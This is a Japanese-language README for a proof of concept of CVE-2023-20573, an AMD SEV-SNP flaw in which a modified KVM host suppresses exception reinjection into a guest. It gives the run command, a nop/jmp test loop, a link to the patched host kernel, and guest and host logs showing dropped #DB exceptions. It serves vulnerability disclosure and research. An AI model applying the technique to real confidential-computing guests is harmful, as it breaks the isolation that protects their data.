
CVE-2023-20573を示す概念実証。AMD SEV-SNPのハードウェア脆弱性で、KVMでの例外再注入抑制を可能にし、命令レベルの悪用を可能にします。
このリポジトリには、カスタムカーネルでSEV-SNPゲストを起動するVMMが含まれています。VMMとカーネルは、私のプロジェクトの簡略版です。ホスト上で実行するには、修正済みのLinuxカーネルが必要です: https://github.com/Freax13/linux/tree/for-amd.
PoCは次のように実行できます:
cd host
cargo run -p vmm
このコードは2つの命令間を行ったり来たりします:
2:
nop
jmp 2b
FLAGSレジスタでTFフラグが設定されている場合、命令ポインタが2つの命令の間で交互になるように例外が生成されるはずです。
ゲストカーネルは、割り込みスタックフレームで報告された命令ポインタを単純にログ出力する例外ハンドラを定義しています。理論上、ログは次のようになるはずです:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
しかし実際には、修正済みホストカーネルが再注入を抑制するため、ログは次のようになります:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
抑制されたイベントは、ホストカーネルのログに表示されます:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
これは、#DB例外の配信が抑制されたことを示しています。